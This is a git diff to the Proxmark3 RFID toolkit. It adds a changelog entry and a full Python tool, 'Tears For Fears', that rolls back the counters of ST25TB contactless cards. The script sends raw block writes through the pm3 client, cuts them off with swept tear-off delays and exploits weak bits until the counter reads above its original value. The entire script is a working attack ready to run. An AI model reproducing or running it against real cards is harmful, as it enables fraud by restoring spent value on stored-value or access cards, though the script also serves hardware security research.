diff --git a/CHANGELOG.md b/CHANGELOG.md index c03f3a4d5..7ee87196e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) diff --git a/tools/pm3_tears_for_fears.py b/tools/pm3_tears_for_fears.py new file mode 100644 index 000000000..0670ceccb --- /dev/null +++ b/tools/pm3_tears_for_fears.py @@ -0,0 +1,553 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +#+---------------------------------------------------------------------------+ +#| Tears For Fears : Utilities for reverting counters of ST25TB* cards | +#+---------------------------------------------------------------------------+ +#| Copyright (C) Pierre Granier - 2024 | +#| | +#| This program is free software: you can redistribute it and/or modify | +#| it under the terms of the GNU General Public License as published by | +#| the Free Software Foundation, either version 3 of the License, or | +#| (at your option) any later version. | +#| | +#| This program is distributed in the hope that it will be useful, | +#| but WITHOUT ANY WARRANTY; without even the implied warranty of | +#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | +#| GNU General Public License for more details. | +#| | +#| You should have received a copy of the GNU General Public License | +#| along with this program. If not, see . | +#+---------------------------------------------------------------------------+ +# +# Ref: +# https://gitlab.com/SiliconOtter/tears4fears +# + +import argparse +from queue import Queue, Empty +import re +from subprocess import Popen, PIPE +from time import sleep +from threading import Thread + +PM3_SUBPROC = None +PM3_SUBPROC_QUEUE = None + + +class colors: + + reset = '\033[0m' + bold = '\033[01m' + disable = '\033[02m' + underline = '\033[04m' + reverse = '\033[07m' + strikethrough = '\033[09m' + invisible = '\033[08m' + + purple = '\033[35m' + red = '\033[31m' + green = '\033[32m' + blue = '\033[34m' + lightred = '\033[91m' + lightgreen = '\033[92m' + lightblue = '\033[94m' + + +def main(): + + global PM3_SUBPROC + global PM3_SUBPROC_QUEUE + + parser = argparse.ArgumentParser() + parser.add_argument("-s", + "--strat", + type=int, + nargs="?", + const="1", + default="1", + dest="strategy", + help="Strategy to use (default 1)") + parser.add_argument("-b", + "--block", + type=int, + nargs="?", + const="-1", + default="-1", + required=True, + dest="target_block", + help="Target Block") + parser.add_argument("-p", + "--pm3-client", + type=str, + default="pm3", + dest="pm3_path", + help="pm3 client path") + + args = parser.parse_args() + + PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE) + PM3_SUBPROC_QUEUE = Queue() + + thread = Thread(target=enqueue_output, + args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE)) + thread.start() + + if args.target_block != -1: + tear_for_fears(args.target_block, args.strategy) + else: + parser.error("--block is required ") + + sub_com('exit') + thread.join() + + +def enqueue_output(out, queue): + """Continuously read PM3 client stdout and fill a global queue + + Args: + out: stdout of PM3 client + queue: where to push "out" content + """ + for line in iter(out.readline, b""): + queue.put(line) + out.close() + + +def sub_com(command, func=None, sleep_over=0): + """Send command to aPM3 client + + Args: + command: String of the command to send + func: hook for a parsing function on the pm3 command end + + Returns: + result of the hooked function if any + """ + global PM3_SUBPROC + global PM3_SUBPROC_QUEUE + + result = None + + sleep(sleep_over) + + PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii"))) + PM3_SUBPROC.stdin.flush() + if func: + while not result: + try: + result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5))) + except Empty: + PM3_SUBPROC.stdin.write(bytes( + (command + "\n").encode("ascii"))) + PM3_SUBPROC.stdin.flush() + + return result + + +def set_space(space): + """Placeholder for instrumentalization or do it manually + + Args: + space: distance needed + + Returns: + """ + input(f"\nSet Reader <-> Card distance to {space} and press enter : \n") + + +def parse_rdbl(str_to_parse): + """Return a list of str of a block from pm3 output + Uses `rbdl` in pm3 client + + Args: + str_to_parse: string to parse + + Returns: + string list + """ + tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse) + if tmp: + # print(tmp) + return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1]) + return None + + +def parse_UID(str_to_parse): + """Return a card UID from pm3 output + + Args: + str_to_parse: string to parse + + Returns: + string list + """ + tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse) + if tmp: + return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1]) + return None + + +def slist_to_int(list_source): + """Return the int value associated to a bloc list of string + + Args: + list_source: list to convert + + Returns: + represented int + """ + return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) + + (int(list_source[1], 16) << 8) + int(list_source[0], 16)) + + +def int_to_slist(src): + """Return the list of string from the int value associated to a block + + Args: + src: int to convert + + Returns: + list of string + """ + list_dest = list() + for i in range(4): + list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper()) + return list_dest + + +def ponderated_read(b_num, repeat_read, sleep_over): + """read a few times a block and give a pondered dictionary + + Args: + b_num: block number to read + + Returns: + dictionary (key: int, value: number of occurrences) + """ + weight_r = dict() + + for _ in range(repeat_read): + # sleep_over=0 favorize read at 0 + # (and allow early discovery of weak bits) + result = slist_to_int( + sub_com(f"hf 14b rdbl -b {b_num}", + parse_rdbl, + sleep_over=sleep_over)) + if result in weight_r: + weight_r[result] += 1 + else: + weight_r[result] = 1 + + return weight_r + + +def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over): + """ + + Args: + b_num: block number + stop: last tearing timing + + """ + # Sending RAW writes because `wrbl` spend additionnal time checking success + cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}" + + set_space(1) + dic = ponderated_read(b_num, repeat_read, sleep_over) + + for value, occur in dic.items(): + + indic = colors.reset + + if value > original_value: + indic = colors.purple + + elif value < original_value: + indic = colors.lightblue + + print( + f"{(occur / repeat_read) * 100} %" + f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}" + f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}") + + target = max(dic) + + read_back = 0 + + # There is no ACK for write so we use a read to check distance coherence + if target > (original_value): + + print(f"\n{colors.bold}Trying to consolidate.{colors.reset}" + f"\nKeep card at the max distance from the reader.\n") + + while (read_back != (target - 1)): + print(f"{colors.bold}Writing :{colors.reset}" + f" {''.join(map(str,int_to_slist(target - 1)))}") + sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}") + read_back = slist_to_int( + sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl)) + + while (read_back != (target - 2)): + print(f"{colors.bold}Writing :{colors.reset}" + f" {''.join(map(str,int_to_slist(target - 2)))}") + sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}") + read_back = slist_to_int( + sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl)) + + set_space(0) + + +def strat_1_values(original_value): + """return payload and trigger value depending on original_value + follow strategy 1 rules + + Args: + original_value: starting value before exploit + + Returns: + (payload_value, trigger_value) if possible + None otherwise + """ + high1bound = 30 + + # Check for leverageable bits positions, + # Start from bit 32, while their is no bit at 1 decrement position + while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)): + high1bound -= 1 + if high1bound < 1: + # No bits can be used as leverage + return None + + low1bound = high1bound + + # We found a suitable pair of bits at 1, + # While their is bits at 1, decrement position + while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)): + low1bound -= 1 + if low1bound < 1: + # No bits can be reset + return None + + trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1) + payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1) + + return (trigger_value, payload_value) + + +def strat_2_values(original_value): + """return payload and trigger value depending on original_value + follow strategy 2 rules + + Args: + original_value: starting value before exploit + + Returns: + (payload_value, trigger_value) if possible + None otherwise + """ + high1bound = 31 + + # Check for leverageable bit position, + # Start from bit 32, while their is no bit at 1 decrement position + while not (original_value & (0b1 << high1bound)): + high1bound -= 1 + if high1bound < 1: + # No bits can be used as leverage + return None + + low1bound = high1bound + + # We found a suitable bit at 1, + # While their is bits at 1, decrement position + while (original_value & (0b1 << low1bound)): + low1bound -= 1 + if low1bound < 1: + # No bits can be reset + return None + + trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1) + payload_value = trigger_value ^ (2**min(low1bound, 4) - 1) + + return (trigger_value, payload_value) + + +def tear_for_fears(b_num, strategy): + """try to roll back `b_num` counter using `strategy` + + Args: + b_num: block number + """ + + ################################################################ + ######### You may want to play with theses parameters ######### + start_taring_delay = 130 + + repeat_read = 8 + repeat_write = 5 + + sleep_quick = 0 + sleep_long = 0.3 + ################################################################ + + cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}" + + print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n") + + tmp = ponderated_read(b_num, repeat_read, sleep_long) + original_value = max(tmp, key=tmp.get) + + if strategy == 1: + leverageable_values = strat_1_values(original_value) + else: + leverageable_values = strat_2_values(original_value) + + if leverageable_values is None: + print( + f"\n{colors.bold}No bits usable for leverage{colors.reset}\n" + f"Current value : {''.join(map(str,int_to_slist(original_value)))}" + f" : { bin(original_value)[2:].zfill(32)}") + return + + else: + (trigger_value, payload_value) = leverageable_values + + print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}" + f" : { bin(original_value)[2:].zfill(32)}") + print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}" + f" : { bin(trigger_value)[2:].zfill(32)}") + print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}" + f" : { bin(payload_value)[2:].zfill(32)}\n") + + print( + f"{colors.bold}Color coding :{colors.reset}\n" + f"{colors.reset}\tValue we started with{colors.reset}\n" + f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n" + f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n" + f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n" + f"{colors.purple}\tAbove initial value {colors.reset}") + + if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n": + return + + trigger_flag = False + payload_flag = False + t4fears_flag = False + + print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}" + f"{''.join(map(str,int_to_slist(trigger_value)))}\n") + + tear_us = start_taring_delay + + while not trigger_flag: + + for _ in range(repeat_write): + + if t4fears_flag: + exploit_weak_bit(b_num, original_value, repeat_read, + sleep_long) + + if trigger_flag: + break + + sub_com( + f"hw tearoff --delay {tear_us} --on ; " + f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}") + + preamb = f"Tear timing = {tear_us:02d} us : " + print(preamb, end="") + + trigger_flag = True + + for value, occur in ponderated_read(b_num, repeat_read, + sleep_quick).items(): + + indic = colors.reset + # Here we want 100% chance of having primed one sub-counter + # The logic is inverted for payload + if value > original_value: + indic = colors.purple + t4fears_flag = True + trigger_flag = False + + elif value == trigger_value: + indic = colors.green + + elif value < original_value: + indic = colors.lightblue + + else: + trigger_flag = False + + print( + f"{(occur / repeat_read) * 100:3.0f} %" + f" : {indic}{''.join(map(str,int_to_slist(value)))}" + f"{colors.reset} : {indic}" + f"{str(bin(value))[2:].zfill(32)}{colors.reset}", + end=f"\n{' ' * len(preamb)}") + + print() + + tear_us += 1 + + print(f"\n{colors.bold}Write and tear payload value : {colors.reset}" + f"{''.join(map(str,int_to_slist(payload_value)))}\n") + + tear_us = start_taring_delay + + while True: + + for _ in range(repeat_write): + + if payload_flag: + + exploit_weak_bit(b_num, original_value, repeat_read, + sleep_long) + + tmp = ponderated_read(b_num, repeat_read, sleep_long) + if max(tmp, key=tmp.get) > original_value: + print(f"{colors.bold}Success ! {colors.reset}") + return + else: + payload_flag = False + + sub_com( + f"hw tearoff --delay {tear_us} --on ; " + f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}") + + preamb = f"Tear timing = {tear_us:02d} us : " + print(preamb, end="") + + for value, occur in ponderated_read(b_num, repeat_read, + sleep_quick).items(): + + indic = colors.reset + + if value > original_value: + indic = colors.purple + payload_flag = True + + elif value == payload_value: + indic = colors.green + payload_flag = True + + elif value < trigger_value: + indic = colors.lightblue + + elif value > trigger_value: + indic = colors.lightred + + print( + f"{(occur / repeat_read) * 100:3.0f} %" + f" : {indic}{''.join(map(str,int_to_slist(value)))}" + f"{colors.reset} : {indic}" + f"{str(bin(value))[2:].zfill(32)}{colors.reset}", + end=f"\n{' ' * len(preamb)}") + + print() + + tear_us += 1 + + +if __name__ == "__main__": + main()